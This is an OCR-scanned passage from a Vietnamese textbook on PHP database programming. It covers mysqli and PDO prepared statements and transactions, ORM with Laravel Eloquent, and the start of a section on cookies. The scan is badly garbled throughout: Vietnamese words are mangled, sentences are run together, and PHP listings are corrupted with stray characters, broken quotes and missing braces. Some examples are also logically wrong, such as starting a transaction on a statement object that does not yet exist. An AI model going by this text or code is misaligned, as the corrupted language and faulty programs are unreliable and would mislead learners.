1énh SQL c6 thé chita cac tham s8 duoc thé hién bang cac ky hiéu gitt chd l1a ddu
chdm hoi (?). Vi du, “select * from Sach where id = ? or tieude like ?” 1a mot mau cau
lénh SQL vdi hai tham s6: tham sd thit nhat cho biét dinh danh sach va tham s&
thi hai cho biét tén sach. Muc dich ctia mau cau 1énh SQL nay la tim sach c6 dinh
danh hodc tiéu dé duwoc chi dinh. Két thtc giai doan chudn bi, phuwong thic
prepare() cua mysqli tra vé mot doi twgng 1énh (statement) sdn sang cho giai doan
thuc thi. Giai doan thuc thi dwoc thue hién theo hai budce tuan tw 1a budc tham so6
va thuee thi. Budc tham s8 12 viée gan cac bién PHP vao cac tham s6 trong mau cau
lénh SQL. N6i cach khac, budc tham so 1a viéc thay thé cac tham s6 trong mau cau
lénh SQL béng gia tri cac bién PHP dé€ hoan thanh cau lénh SQL. Budc tham s& vé6i
thu vién mysqli dwoc thuc hién bang cach goi phuwong thitc bind_param($types,
$varl, $var2, ...) cua doi twong lénh, trong d6 $varl, $var2, ... la cac bién PHP lan
lugt dwgc budc vao tham s6 thit nhat, tham s6 thwt hai, ... trong mAu ciu lénh
SQL, $types la xau ky tw cho biét kiéu di liéu cua cac bién voi ky tu thir nhat cho
biét kiéu ctia $varl, ky tu thit hai cho biét ki€u caa $var2, ... Cac ky tw cho biét kiéu
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chi c6 thé la i (bién twong ting la s6 nguyén), d (bién twong tng 1a s6 thuc), s (bién
twong tng la xau), hay b (bién twong ting c6 day nhi phan). Vi du, bind_param(“is”,
$id, $txt) c6 nghia 1a budc hai bién $id va $ixt Tan lwgt vao tham sd thir nhat va
tham s& thtt hai trong mau cau 1énh SQL véi $id c6 kiéu s& nguyén va $txt cd kiu
xau ky tw. Sau khi da budc tham s0, budc cudi cung la goi phuong thitc execute()
cua do6i twong 1énh dé thuc thi cau 1énh SQL. Néu cau 1énh SQL 1a cap nhat thi s6
ban ghi duoc cap nhat thanh cong sé dwgc tra vé trong thudc tinh affected_rows ctia
do6i tuwgng 1énh. Chuong trinh sau day la viét lai chwong trinh vi du trong Muc
7.2.3 véi viéc sit dung cau lénh chuan bi truede thay cho cau lénh SQL truc ti€p.
Ngoai ra, chuong trinh dwgc viét lai con cho thay sau khi budc tham s8, chwong
trinh c6 thé thay doi gid tri cac tham s6 dé€ thuyec thi cau 1énh khac. Néi cach khac,
chwong trinh méi cho thdy giai doan chudn bi chi phai thyc hién mét [an trong khi
giai doan thuec thi ¢ thé lap lai nhiéu Jan cho nhiéu cau 1énh khac nhau. Luu y can
déng ca doi tuwong 1énh truede khi ddng két ndi co so dit liéu d€ giai phong cac tai
nguyén.

1. <?php
// M& két néi co s& dit 1liéu
$db = new mysqli("112.113.114.1152, "canbo", "canbo@123", "thuvien");
if ($db->connect_errno) { echo "Lo6i: ".$db->connect_error; exit(); }

// Chudn bi cau lénh cadp nhat
$stmt= $db->prepare("update Sach set tieude = ? where id = ?");

oNOUVT A WN

9. // Bubc cac tham sé

10.%$1i = 1; $t = "Lap trinh C++";

11. $stmt->bind_param('si', $t, $i);

12.

13.// Thyc thi

14. $stmt->execute();

15.

16. //Kiém tra két qua cap nhat

17.if ($stmt->affected_rows) { echo "P3a cap nhat sach Lap trinh C++"; }
18.else { echo "L&i cap nhat sach Lap trinh C++"; }

19.

20. //Thay déi gia tri cac tham s6 va thuc thi cau lénh khac

21.%1i = 2; $t = "Tri tué nhan tao"; $stmt->execute();

22.

23.// Kiém tra k&t qua cap nhat

24.if ($stmt->affected rows) { echo "P3d cadp nhat sach Tri tué nhan tao"; }
25.else { echo "L&i cap nhat sach Tri tué nhan tao"; }

268

27.// Pbéng d6i tuogng lénh va két nbéi co s& dir liéu

28. $stmt->close(); $db->close();

Néu cau 1énh chuan bi truedce 1a cau truy van thi sau khi thuc thi, két qua thuc
thi 1a tap ban ghi c6 thé duoc 14y ra bang phuwong thiic get_result() cia ddi tuong
lénh. Chuong trinh sau day la viét lai chwong trinh vi du trong Muc 7.2.4 véi viéc
st dung cau lénh chudn bi trudc thay cho cau lénh SQL truc ti€p.

1. <?php
2. // M& két noi co s& dir liéu
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3. $db = new mysqli("112.113.114.115", "canbo", "canbo@123", "thuvien");
4. if ($db->connect_errno) { echo "Ldi: ".$db->connect_error; exit(); }
5.

6. // Chudn bi cau lénh truy van

7. $stmt= $db->prepare("select * from Sach where nxb = ?");

8.

9. // Bubc cac tham sé

10. $t = "DHQGHN";
11. $stmt->bind_param('s’', $t);

13.// Thuc thi
14. $stmt->execute();

16.// X ly két qua
17.if ($result = $stmt->get _result()) {
18. while ($row = $result->fetch_assoc()) {

19. echo $row['tieude']." ".$row['nxb']."\n";
20. }

21. $result ->close();

22.}

23.

24.// Péng ddi tugng lénh, déng két nbéi co s& dir liéu
25. $stmt->close(); $db->close();

7.2.6. Thuc'thi giao tac

Giao tac (transaction) la mot trong nhitng“ddc trung quan trong dwoc cac hé
quan tri co s¢ dit liéu hd tro. Mbi giao tac la mot don vi cong viéc dwoc thiec hién
trén co so dit liéu. Giao tac trong mdi tuong co sé dit liéu nham dén hai muc dich.
Th nhat, giao tac cung cap cac don vi cong viéc tin cay cho phép phuc hoi co s
dt liéu mot cach dung d4n sau khi gdp sw ¢O va gitt cho co s& dir liéu ludn ludn &
trang thdi nhat quan trong moi tinh huéng. Thit hai, giao tdc cung cap su biét lap
gitra cac chwong trinh truy cap co so dir liéu dong thoi.

Dai tuong mysqli cung cap cac phuong thic begin_transaction(), commit() va
rollback() &€ thuc hién giao tac. Phwong thirc begin_transaction() dugc goi d€ bat
dau giao tac. Phuong thirc commit() dugc st dung dé cam két giao tac va phuong
thirc rollback() dwgc stt dung dé€ khoi phuc co so dit liéu vé trang thai trudc giao tac
néu thuc thi ctia giao tac c6 16i. Méc dinh mysgli thiee hién cau 1énh truy van dudi
dang cam két (commit). D€ tat ché d6 cam két tw dong, sit dung phuong thiic
autocommit(FALSE) ctia mysqli.

Chuong trinh trong vi du sau day thuc hién mot giao tac d€ cap nhat lai tiéu dé
cho cudn sach dau tién la ‘Lap trinh C++ va x0a tat ca cac sach co tiéu dé tuong tu
la ‘C+'. Néu vi ly do nao d6 ma mot trong hai cau 1énh khong thanh cong, qua
trinh thiee hién 1énh dugc thu hoi (rollback) va co so dit liéu sé dwgce khoi phuc vé
trang thai ban dau.

1. <?php

2. // M& két nbéi co s& dir 1liéu

3. $db = new mysqli("112.113.114.115", "canbo", "canbo@123", "thuvien");
4. if ($db->connect_errno) { echo "Ldi: ".$db->connect_error; exit(); }
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// Bat dau giao tac
$stmt->begin_transaction();

00N O WU

(o]

// Chudn bi cau 1lénh cap nhat

10. $stmt= $db->prepare("update Sach set tieude = ? where id = ?");
11.

12.// Budc cac tham sé6

13.%i = 1;

14.%$t = "Lap trinh C++";

15. $stmt->bind_param('si', $t, $i);

16.

17.// Thuc thi

18. $stmt->execute();

19.

20.//Chudn bi cau lénh cap nhat khac

21. $stmt= $db->prepare("delete from Sach where tieude = ?");
22.

23.// Budc cac tham sé6

24. %t = "C++";

25. $stmt->bind_param('s', $t);

26.

27.// Thuc thi

28. $stmt->execute();

29.

30.// K&t thidc giao tac, khdéi phuc néu d3 cé 16i xdy ra
31.if (!$db->commit()) $db->rollback();

32.

33.//Pbéng d6i tuong lénh va déng két ndi co s& dit 1liéu
34. $stmt->close(); $db->close();

7.3. PDO

7.3.1. Giao dién thao tac co so dix liéu

Trong thuyec té trién khai ting dung, d6i khi can phai chuyén d6i gitta cac hé
quan tri co s6 dit liéu khac nhau. Van dé ma lap trinh vién c6 thé phai giai quyét
khi thuce hién chuyén d6i hé quan tri co s6 dix liéu la viét lai cac 1énh twong tac voi
hé quan tri co s¢ dit liéu méi. Diéu nay gay kho khan va ton kém trong phat trién
tng dung. Chinh vi vay, cac cong nghé lap trinh hién dai thwong cung cap mét
giao dién (interface) chudn hoa, nhat quan dé€ thao tac voi co so dir liéu. Néu nhuw
cong nghé Java cung cdp JDBC (Java Database Connectivity), .NET framework
cung cap ADO (ActiveX Data Objects) thi PHP cung cdp PDO (PHP Data Objects).
PDO la giao dién d€ ung dung PHP thao tac vdi nhiéu loai co so dit liéu khac
nhau. Luvu y, néu chi st dung minh PDO, ting dung PHP khong thé thuc hién bat
ky thao tac co so dit liéu nao vi PDO chi lam chttc nang giao dién gitta tng dung
voi trinh diéu khién co s¢ dir lidu (database driver). Mudn lam viéc véi hé quan tri co
sO dit liéu nao, PDO yéu cau trinh diéu khién cai dat giao dién PDO twong ting
v6i hé quan tri co sé dit liéu d6. Trinh diéu khién do cac hang phat trién hé quan
tri co s& dit liéu hodc hang phat trién cong nghé 1ap trinh cung cap. Lap trinh vién
stt dung trinh diéu khién co s¢ dit liéu d€ thiét lap méi truong va chi can viét cac
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lénh tuong tac vdi giao dién PDO dé thao tac voi co so dix liéu. Néu can chuyén
d06i hé quan tri co so dit liéu, 1ap trinh vién chi can cai dat (install) trinh diéu khién
modi ma khong phai viét lai ma 1énh ctia tng dung. Giao dién thao tac co s¢ div
liéu, PDO ndi riéng, giup cho ting dung cé thé doc lap hé quan tri co sé dix liéu
theo cach do.

PDO sql wmm dbms sql
> ' >
Database
PDO DBMS |

< PDO result Driver | dbms result \J‘
| database

‘ I

Hinh 7.1. Twong tac gitra PDO vdi trinh diéu khién va hé quan tri co s6 dir liéu

Twong tac gitta PDO v6i trinh diéu khién va hé quan tri co so dtt liéu duoc
minh hoa trong Hinh 7.1. [/fng dung, thong qua PDO, gtri cac 1énh SQL chung
(generic) déntrinh diéu Khién €q-sd-dir liéu; Trinh diéu khién chiuyén,doi cau lénh
SQL chung thanh cau lenh,SQL ban ngtr (mative) doi voi hé quan tri co s¢ div liéu.
Néu nhu cau/lénh SQE\chufig, cé tinh tfung 1dp; doc lap voidhéyquan fri co so di
liéu thi cau'lénh SQL ban ng lai'pht thuoc/vae hé quan tri co so ditliéu, co thé co
nhing ddc diém riéng chi phu hop véihé quan tri co sé dix liéu cu thé. Sau khi
thuec thi cau 1énh SQL ban ngtt, hé quan tri co sé dit liéu tra két qua cho trinh diéu
khién v6i moét dinh dang cling c6 tinh ban ngt, phu thudc vao hé quan tri. Trinh
diéu khién sé chuyén doi két qua tir dinh dang ban ngtt vé dinh dang chung duoc
duoc quy dinh boi PDO. Ung dung doc két qua ¢ dinh dang chung d6.

7.3.2. Cai dit va cau hinh

D€ c6 thé thao tac co s¢ dir liéu bang PDO, giao dién PDO clung trinh diéu
khién co so dir liéu phai dwoc cai dat va bat. Lap trinh vién can cai dat goi php5-
mysql d& c6 PDO, dong thoi can bat PDO béng cach dua vao tép cau hinh php.ini
dong cé ndi dung extension=pdo.so. Ti€p theo, d€ lam viéc vdi hé quan tri co so div
liéu nao, lap trinh vién can cai dat va bat trinh diéu khién tuwong ting cho hé quan
tri co s& dir liéu d6. Vi dy, néu hé quan tri co so dit liéu duoc lwa chon la MySQL,
trinh diéu khién pdo-mysql can dwoc cai dat, dong thoi duoc bat bang cach dua vao
tép cdu hinh php.ini dong c6 ndi dung extension=pdo_mysql.so.

7.3.3. M6 va dong két néi co s6 dir liéu
Dé két ndi co sd dir liéu, st dung ham tao PDO theo ct phap

$db = new PDO($dsn, $username, $password);

trong do, $dsn (data source name) la tén nguon di liéu, $username va $password la
tén dang nhap va mat khau nguoi dung co so dir liéu. Tuy vao hé quan tri co so
d@ liéu, tén ngudn dit liéu c6 khac nhau doi chat. Vi dy, véi hé quan tri co sé d
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liétu MySQL, tén ngudn di liéu c6 dang “mysql:host=<$host>; dbname=<$database>;”,
voi hé quan tri co so dir liéu PostgreSQL, tén ngudn dir liéu cd6 dang
“pgsql:host=<$host>; dbname=<$database>;,”, hay véi hé quan tri co so ditr lieu MS
SQL, tén nguodn dir liéu c¢é dang “sqlsrv:Server=<$host>; Database=<$database>;", ...,
trong do6 <$host> la dia chi IP hodc tén mién mdy chay hé quan tri co so dit liéu,
<$database> 1a tén co so dir liéu dé lam viéc.

D€ d6ng két ndi co so dit liéu, don gian dat ddi twong PDO bang null. Nhac lai
rang (xem thém ndi dung cudi Muc 7.2.2) can déng két ndi sau khi thao tac xong
co sO dir liéu.

Ma ngudn thao tac co sé di liéu st dung PDO tdng quat c6 dang nhw vi du
sau day. PDO h trg 16p PDOException cho xtt ly ngoai 1&¢ va ma ngudn thao tac co
s& dit liu nén duoc bit ngoai lé.

1. <?php
2. try {
3. // M& két néi co s& dir liéu
4. $dsn = "mysql:host=112.113.114.115;dbname=thuvien;";
5 $db = new PDO($dsn, "canbo", "canbo@123");
6
7
8

// Céac thao tac co s& dir 1iéu: truy van, cap nhat
. Jf ococ

9.
10. //béng két ndi co s& dir liéu
11. $db = null;

12.} catch (PDOException $e) {
13. echo "L6i".$e->getMessage();
14.}

7.3.4. Cap nhat co so dit liéu

Phuong thtc exec() caa doi twong PDO duoc sit dung dé€ cap nhat co so div
liéu. Tham s6 dwoc st dung 1a cau 1énh update, delete, insert hay alter ciia SQL. Két
qua tra vé cua exec() 1a sd ban ghi co s& di liéu da dwgc cap nhat. Chuong trinh
sau day la viét lai ctia chwong trinh & muc 7.2.3 vdéi viée st dung PDO thay cho

mysqli.

1. <?php

2. try {

3. // M& két ndi co s& dir 1liéu

4. $dsn = "mysql:host=112.113.114.115;dbname=thuvien;";

5. $db = new PDO($dsn, "canbo", "canbo@123");

6.

7. // Cap nhat co s& dir liéu

8. $r = $db->exec("update Sach set tieude='Lap trinh C++' where id='1"'");
9. echo "$r ban ghi da dugc cap nhat sach thanh cong.";

10.

11. // Pong két nbéi co s& dir 1liéu
12. $db = null;
13.} catch (PDOException $e) {

14. echo "L6i".$e->getMessage();
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7.3.5. Truy van va xit ly két qua

Pé€ thuee hién cau truy van, PDO st dung phuong thitc query() véi tham so la
cau truy van SQL. Két qua truy van tra vé la mot d6i twong lénh chira tap ban ghi.
Dai twong lénh c6 phwong thike fetch() d€ chuyén do6i ban ghi dit liéu vé ki€u mang
cua PHP. Can lap lai 10i goi phwong thitc fetch() d€ duyét qua tdt ca cac ban ghi.
Chuong trinh sau day la viét lai ctia chuwong trinh & muc 7.2.4 véi viéc st dung
PDO thay cho mysqli.

1. <?php

2. try {

3. // M& két ndi co s& dir 1liéu

4. $dsn = "mysql:host=112.113.114.115;dbname=thuvien;";
5 $db = new PDO($dsn, "canbo", "canbo@123");

6

7

8

// Truy van va xu ly két qua
. $stmt = $db->query("select * from Sach where nxb="DHQGHN'");
9. while ($row = $stmt->fetch(PDO::FETCH_ASSOC))) {
10. echo $row[ 'tieude']." ".$row['nxb']."\n";
11. }

13. // Pong k&t néi co s& dir liéu
14. $db = null;

15. } catch (PDOException $e) {

16. echo "L6i".$e->getMessage();
17.}

7.3.6. Cau lénh chuan bi tredc

PDO ho trg cau 1énh chuan bi triede twong tw mysqli (xem thém Muc 7.2.5). Vi
PDO, giai doan chuan bi dwoc thuc hién bf?mg cach goi phuong thtc
prepare($sqltpl) cua 16p PDO, trong d6 $sqltpl 1a mau cau lénh SQL. Mau cau 1énh
SQL c6 thé chita cac tham s& duoc thé hién bang cac ky hiéu gitt chd 1a d&u cham
hoi (?) hodc tén tham sd véi dau hai cham (:) 6 trudce. Vi du, “select * from Sach
where id = :id or tieude like ?” 13 mOt mau cau 1énh SQL véi hai tham s, tham s8 thi
nhat 1a :id cho biét dinh danh ctia sich va tham s6 thi hai chi 1a ky hiéu giit chd
cho biét tén sach. Két thuc giai doan chudn bi, phuong thitc prepare() ctia PDO tra
vé mot doi tuong lénh (statement) san sang cho giai doan thuec thi. Giai doan thic
thi cting duoc thyc hién theo hai budc tuan tu la budc tham s6 va thuc thi. Budc
tham s6 véi PDO dugc thuc hién bang cach goi phuong thitc bindValue($param,
$var) cta d6i tuwong 1énh, trong d6 $var la bién PHP duoc budc vao tham s trong
mau cau lénh SQL, $param la tén hay sd thit ty cta tham s6 trong mau cau lénh
SQL. Sau khi da budc tham s6, budc cudi cung cling la goi phuong thirc execute()
cua doi tuwgng lénh d€ thuc thi cau lénh SQL. Néu cau 1énh SQL la cap nhat thi s6
ban ghi duoc cap nhat thanh cdng sé duwoc tra vé khi goi phwong thiee rowCount()
cua ddi tuong lénh. Chwong trinh sau day la viét lai cta chuong trinh th nhat ¢
muc 7.2.5 vdi viéc stt dung PDO thay cho mysqli.

1. <?php
2. try {
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36. }

// M& két n6éi co s& dir liéu
$dsn = "mysql:host=112.113.114.115;dbname=thuvien;";
$db = new PDO($dsn, "canbo", "canbo@123");

// Chuadn bi cau 1lénh cdp nhat

$stmt= $db->prepare("update Sach set tieude = ? where id = :id");

// Budc cac tham so6
$stmt->bindvalue(1l, "Lap trinh C++");
$stmt->bindvalue(":id", 1);

// Thuc thi
$stmt->execute();

// Kiém tra k&t quad cap nhat

if ($stmt->rowCount()) { echo "DPa cap nhat sach Lap trinh C++"; }

else { echo "L&i cap nhat sach Lap trinh C++"; }
// Budc cac gia tri khac

$stmt->bindvalue(1l, "Tri tué nhan tao");
$stmt->bindvalue(":id", 2);

// Thuyc thi
$stmt->execute();

// Kiém tra k&t qua cap nhat

if ($stmt->rowCount()) { echo "Pa cap nhat sach Tri tué nhan tao"

else { echo "L&i cdp nhat sach Tri tué nhan tao"; }

// Pong két nbéi co s& dir 1liéu

$db = null;

catch (PDOException $e) {
6i".$e->getMessage();

echo "Loi

I

Néu cau lénh chuan bi trudce 1a cau truy van thi sau khi thuc thi, két qua thuc
thi 12 tap ban ghi c6 thé duoc 18y ra bang phuong thtic fetch() cia d6i twong lénh.
Chuong trinh sau day la viét lai ctia chwong trinh thit hai 6 muc 7.2.5 véi viéc st

dung PDO thay cho mysqli.
1. <?php
2. try {
3. // M& két néi co s& dir liéu
4. $dsn = "mysql:host=112.113.114.115;dbname=thuvien;";
5. $db = new PDO($dsn, "canbo", "canbo@123");
6.
7. // Chudn bi cau lénh truy van
8. $stmt= $db->prepare("select * from Sach where nxb = ?");
9.
10. // Bubc cac tham so
11. $stmt->bindvalue(1l, "PHQGHN");
12.
13. // Thyc thi
14. $stmt->execute();
15.
16. // X ly két qua
17. while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
18. echo $row['tieude']." ".$row['nxb']."\n";
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19.
20.
21.
22.
23.}
24.
25.}

}

// Doéng két ndi co s& dir liéu

$db = null;

catch (PDOException $e) {
6i".$e->getMessage();

echo "Loi

7.3.7. Thuc thi giao tac

PDO hd tro thuc thi giao tac twong tw mysqli (xem thém Muc 7.2.6). Déi tuong
PDO cung cdp cac phwong thirc beginTransaction(), commit() va rollBack() d€ thuc
hién giao tdc. Phuong thitc beginTransaction() duwoc goi dé bat dau giao tac.
Phuong thiic commit() duwoc sit dung dé cam két giao tac va phwong thirc rollBack()
duoc st dung dé khoi phuc co sé div liéu vé trang thai trede giao tac néu thuec thi
ctia giao tac c6 16i. Chuwong trinh sau day la viét lai ctia chwong trinh & muc 7.2.6
voi viéc st dung PDO thay cho mysgli.

1. <?php

2. try {

3. // M& két ndi co s& dir 1liéu

4, $dsn = "mysql:host=112.113.114.115;dbname=thuvien;";
5. $db = new PDO($dsn, "canbo", "canbo@123");

6.

7. // Bat dau giao tac

8. $stmt->beginTransaction();

9.

10. //Chudn bi cdu 1lénh cap nhat

11. $stmt= $db->prepare("update Sach set tieude = ? where id = :id");
12.

13. // Budc cac tham so

14. $stmt->bindvalue(1, "Lap trinh C++");

15. $stmt->bindvalue(":id", 1);

16.

17. // Thuc thi

18. $stmt->execute();

19.

20. // Chudn bi cau lénh cadp nhat khac

21. $stmt= $db->prepare("delete from Sach where tieude = ?");
22.

23. // Budc cac tham so

24.  $stmt->bindvalue(1, "C++");

25.

26. // Thuc thi

27. $stmt->execute();

28.

29. // K&t thic giao tac

30. $db->commit();

31.} catch (PDOException $e) {

32. $db->rollBack(); // Khéi phuc néu da cé 16i xay ra
33. echo "L&6i".$e->getMessage();

34.}
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7.4. ANH XA THUC THE DOI TUONG

Ngay nay, da s8 cic ngdn ngtr 1ap trinh web hd tro 1ap trinh huéng d6i tuong.
Trong lap trinh huwdéng d6i twgng, cac thanh phan di liéu duoc thé hién thong qua
cac d6i twong trong khi hau hét cac co so dit liéu dang sit dung pho bién hién nay
la co so dit liéu quan hé. Vi vay, da cé nhitng giai phap chuyén doi dit liéu tit mo
hinh quan hé sang md hinh huwéng d6i twong dé viéc 1ap trinh duoc thuén lgi hon.
C6 thé hiéu vé mat vat ly thi di@ liéu van duoc luu trit theo mo hinh co sé dit liéu
quan hé nghia 1a cac bang, mdi bang gom tap ban ghi. Vé logic, trong trién khai
lap trinh cac bang nay duwoc anh xa thanh cac d6i tuong.

Anh xa d6i twong-quan hé (Object-relational mapping - ORM) la mot ki thuat d&
anh xa dit liéu gitta co sé dt liéu quan hé va d6i tuwong trong cac ngon ngtt lap
trinh hudng ddi twong nhu Java, C#, PHP. Trong d6, cac d6i tuwong anh xa vdi cac
bang, cac quan hé ctia doi twong anh xa vdi cac rang budc lién quan gitta cac bang.
Stt dung ORM nghia la tao ra mot khung lam viéc trung gian, duoc xay dung
bang ngon ngirlap trinh hubng doi twong; thongred dd thao taddwocvai co so dix
liéu. ORMidugc sw dung phd biénbdi chung co thé strdung v6i nhiéu hé quan tri
co sO dir liéu khdc nhau. Khichuyén do1 gitra'cag co so dir'lieu, nguoi lap trinh
khong phailchuyén tean mé.lénh tuong tae vai.co sd.dirliéuuma chi‘can thay doi
tham sd két n6i v6i co sd dir liéu. Ngoai ra, ORM tao ra co ché “hop den”, giup
nguoi 1ap trinh khong can hiéu truc ti€p cac cau 1énh truy van.

Anh xa d6i twong-quan hé cé thé duoc thuc hién ¢ mic bang, mirc hang hoac
ca hang va c6t. Trong dnh xa mirc bang (Table Data Gateway), moi bang (table)
trong co s dir liéu duwoc dnh xa sang mot ddi twgng hay 16p trong ting dung. Chi
c6 mot thé hién (instance) cho mdi bang, tic 1a chi c6 mot 16p hoac ddi twong duy
nhét 4nh xa téi mot bang xac dinh. Moi thao tac trén bang trong co sé dir liéu
duoc thuc hién thong qua doi twgng anh xa cua né trong tng dung. Cac thao tac
dit liéu vdi bang anh xa thanh cac phuwong thitc. Trong dnh xa mitc hang (Row Data
Gateway), d6i twong duwoc anh xa tham chiéu dén mot ban ghi di liéu trong bang.
Dai twong trong anh xa mirc hang ¢ cac thudc tinh chinh la cac cdt cia bang. Bé
cap nhat dir liéu trong 4nh xa muc hang thi can thyc hién tim kiém dén hang can
thao tac cap nhat. Vé hiéu suat, md hinh danh xa mtrc hang thuc thi nhanh hon 4anh
xa mttc bang. Tuong ti nhw 4nh xa mutc hang, Active Record thiét ké nham 1&y dit
liéu duoc luu tri trong cac bang ctia co s¢ dir liéu (hang va cdt). Viéc truy xuat
hodc stra doi dir liéu thuong thuc hién bodi cac cau lénh truy van dugc chuyén
thanh thao tac véi cac ddi tuong thong thuong. Vé ki thuat, mdi bang trong co s
d@ liéu dwgc anh xa twong ting voi mot doi tuong.

Bén canh nhitng vu diém, ORM ciling boc 10 nhitng han ché nhu phtc tap
trong trinh bay ma, thi€u linh hoat, hiéu nang khong cao va d6i khi phu thudc vao
khung phat trién. Chinh vi vay, mot s6 ky thuéat thay thé cho ORM da ra doi nhu
co so dit liéu d6i twgng, co s¢ dix liéu tai liéu, lvu trir khoa-gia tri.
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Do d6 phtec tap, gido trinh khong trinh bay cach cai dat thu vién anh xa d6i
twong-quan hé, ma chi hudng dan cach st dung mot thu vién anh xa doi twong-
quan hé 1a Eloquent cung v6i khung phat trién Laravel sé dwgc trinh bay trong
Chuong 10. Mdi bang trong co s& dit liéu twong tmg véi mot ddi teong mo hinh
trong Laravel. Doan ma lénh dudi day minh hoa cach thitc anh xa doi tugng tir
bang tacgia trong co so dit lieu sang 16p Tacgia trong Laravel.

1. <?php

2. namespace App;

3. use Iluminate\Database\Eloquent\Model;
4. class Tacgia extends Model {

5. protected $table = "tacgia";

6. }

D€ 14y tat ca cac ban ghi dit liéu, thyc hién phwong thic all(). Vi dy, 1énh
Tacgia::all() twong dwong voi cau truy van “select * from tacgia”. D€ truy van dir liéu
theo diéu kién loc, st dung phuong thic where() hay lists(). Vi dy, cau 1énh
Tacgia::where(‘tentacgia’,’Phung Q’)->first(); twong duwong véi cau truy van “select *
from tacgidwhere tentacgia'='"Phung'Q’ limit.17, hay-cau lénh-Tacgra::lists(‘tentacgia’);
teong duwang Moi ¢au truy van “seléct tentacgia from tacQia™

bé thém mat ban ghi dit liétyske dung phuong thiee save(). Vi du, doan ma
lénh dudi day tao ra mot tac gia moi, gan thong tin va thém vao bang tacgia.

1. <?php

2. $tacgia = new Tacgia();

3. $tacgia->matacgia = '10';

4. $tacgia->tentacgia = 'Nguyen Van K';
5. $tacgia->save();

Tuong tu, d€ cdp nhat thong tin ban ghi cling st dung phuwong thiec save()
nhung thay vi tao méi ra mot d6i tweong dit lieu bang toan tir new, tng dung can
tim dén ding ban ghi can cap nhat thdng qua phuong thiic find(). Vi du, doan ma
lénh dudi day stra doi tén cha tac gia c6 ma tac gia 1a ‘2" trong bang tacgia.

1. <?php

2. $tacgia = Tacgia::find(2);

3. $tacgia->tentacgia = 'Tran Thi T';
4. $tacgia->save();

Dé xo0d dir liéu, st dung phuong thikc delete(). Vi dy, doan ma 1énh sau day xo4
tac gia co ma la ‘2" trong bang tacgia.

1. <?php
2. $tacgia = Tacgia::find(2);
3. $tacgia->delete();
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Bai tap

1.

Phét trién tng dung co tén 1a BookStore vdi cac trang thém mdi, cap nhat, xda,
xem danh sach, va xem thong tin sach méi dwgc xudt ban. Thong tin sach duoc
luu trong co sd dit liéu. Ung dung thao tac véi co so dit liéu thong qua PDO.
M¢ rong ting dung BookStore véi cac chirc néng nang cao nhu tim kiém va sap
x€p sach theo tén sach, tac gia, nha xudt ban hodc nam xuéat ban.

Mo rong tng dung BookStore voi cac API thuc hién chirc nang twong tie nhwe
tim ki€ém nhung khong tra vé HTML ma tra vé di liéu sach tim thdy ¢ dinh
dang JSON. Nang cidp trang xem danh sach sach st dung API, AJAX va
JavaScript d€ cap nhat trang theo két qua tim kiém.

Poc thém

1.

Onaje Johnston, "PHP Data Objects Quick Start (PHP Basic Recipe Book 3)",
Amazon Digital Services LLC, 2013.

David [Jotdamn; ; Craig Russell,, JavapData Qbjects: Store, Objects jwith Ease 1st
Edition", O'Reilly Media, 2013.

Bill Hamilton,, Matthew MacDonaldj/"ADONET in a'Nutshell (Inva Nutshell
(O'Reilly)) 1st'Edition", O'Reilly'Media, 2018.
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Chuong 8
LUU TRANG THAI VA PAM BAO AN NINH

8.1. LUU THONG TIN TRANG THAI

HTTP la giao thtic phi trang thai (stateless). M6i yéu cau HTTP duogc xt ly doc
lap. Trinh phuc vu khong nhé cac yéu cau trude dd, do d6 khong nhé trang thai
lam viéc véi trinh khach. Tuy nhién, da s6 ting dung web can phai nh¢ trang thai
lam viéc ctia ngudi dung nham dam bao tinh xac thuc, riéng tu, cd nhan héa hay
dtng quy trinh cdng viéc. Vi du, iing dung can phai biét nguoi dung nao dang st
dung d€ cung cap dit liéu ma nguoi d6 c6 quyén truy cap ma khong cung cip dix
liéu ctia nguoi dung khac. Néu ting dung cho phép nguoi dung khai bao thu€ truc
tuyén voi tac vu duoc thyc hién béng nhiéu budc, trén nhiéu trang, theo mot
luéng congfviéc) nhat |dinh,) @iig [dung\ ¢an Iphéi [cho/rigaoi /diing lchuyén qua
chuyén lai gitta cdc budc va ting dung phai ghi nhé thong tin ma ngwoi dung da
khai bdo ¢ titng budc. Cac gidi phap cho phép ttng dung web luru trang thai bao
gom cookie va phién (session). Cac giai phap nay sé duoc trinh bay ngay sau day.

8.1.1. Cookie

Cookie la thong tin hay dit liéu trang thai dwoc trinh khdch lwu trit va gii cho
trinh phuc vu trong mdi yéu cau. Néu quan niém trinh phuc vu 1a phong kham va
trinh khach la bénh nhan dén phong kham dé kham bénh thi cookie giong nhu s
kham bénh cap cho bénh nhan. Bac sy ctia phong kham sé ghi tat ca thong tin vé
bénh ly, don thudc diéu tri cho bénh nhan vao sd kham bénh va dwa s6 kham bénh
cho bénh nhan. Bénh nhan cam s6 kham bénh vé va mang nd theo tai cac lan dén
kham ti€p theo. Di nhién, véi rat nhiéu bénh nhan, bac sj khong nhé bénh nhan la
ai va bénh nhan da duwoc kham, diéu tri nhw thé nao tai phong kham néu khong co
s0 kham. Thong tin trong s6 kham chinh la trang thai bénh va diéu tri bénh tai
phong khdm cua bénh nhan. Quay vé tng dung web, cookie ciing nhu vay.
Cookie la trang thdi lam viéc cta trinh khach véi trinh phuc vu. Cookie duoc trinh
khach leu gitr va gii dén trinh phuc vu trong mdi yéu cau HTTP. Céan ctt vao
cookie c6 trong yéu cau HTTP, trinh phuc vu biét dwgc trinh khach nao dang duoc
phuc vu va trang thai lam viéc gitta trinh phuc vu va trinh khach d6 la nhu thé
nao.

Trinh phuc vu gii cookie cho trinh khach bang tiéu dé Set-Cookie trong dap
tng HTTP. C6 thé cd nhiéu cookie trong cung mot dap tng HTTP nhu vi du sau:
HTTP/1.0 200 OK

Content-type: text/html
Set-Cookie: food=choco; tasty=strawberry
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Khi nhan duoc dap ting HTTP nay, trinh khach ghi nhé cookie va gai cookie dén
trinh phuc vu trong mdi yéu cau HTTP tiép theo bang tiéu dé Cookie, nhu vi du
sau:

GET /nextPage.htm HTTP/1.1
Host: www.example.com
Cookie: food=choco; tasty=strawberry

M&di cookie cé thanh phan t&i thiéu bat budc 1a khda (key), va gid-tri (value) tly
chon theo sau khéa boi dau bang (=). Ngoai ra, cookie c6 thé cé cac thanh phan tity
chon khac, bao gom:

Expires=<date> Cho biét ngay gio cookie hét han.

Max-Age=<non-zero-digit> Cho biét s& giay cho dén khi cookie hét han. Néu
cookie co ca hai thanh phan Expires va Max-Age,
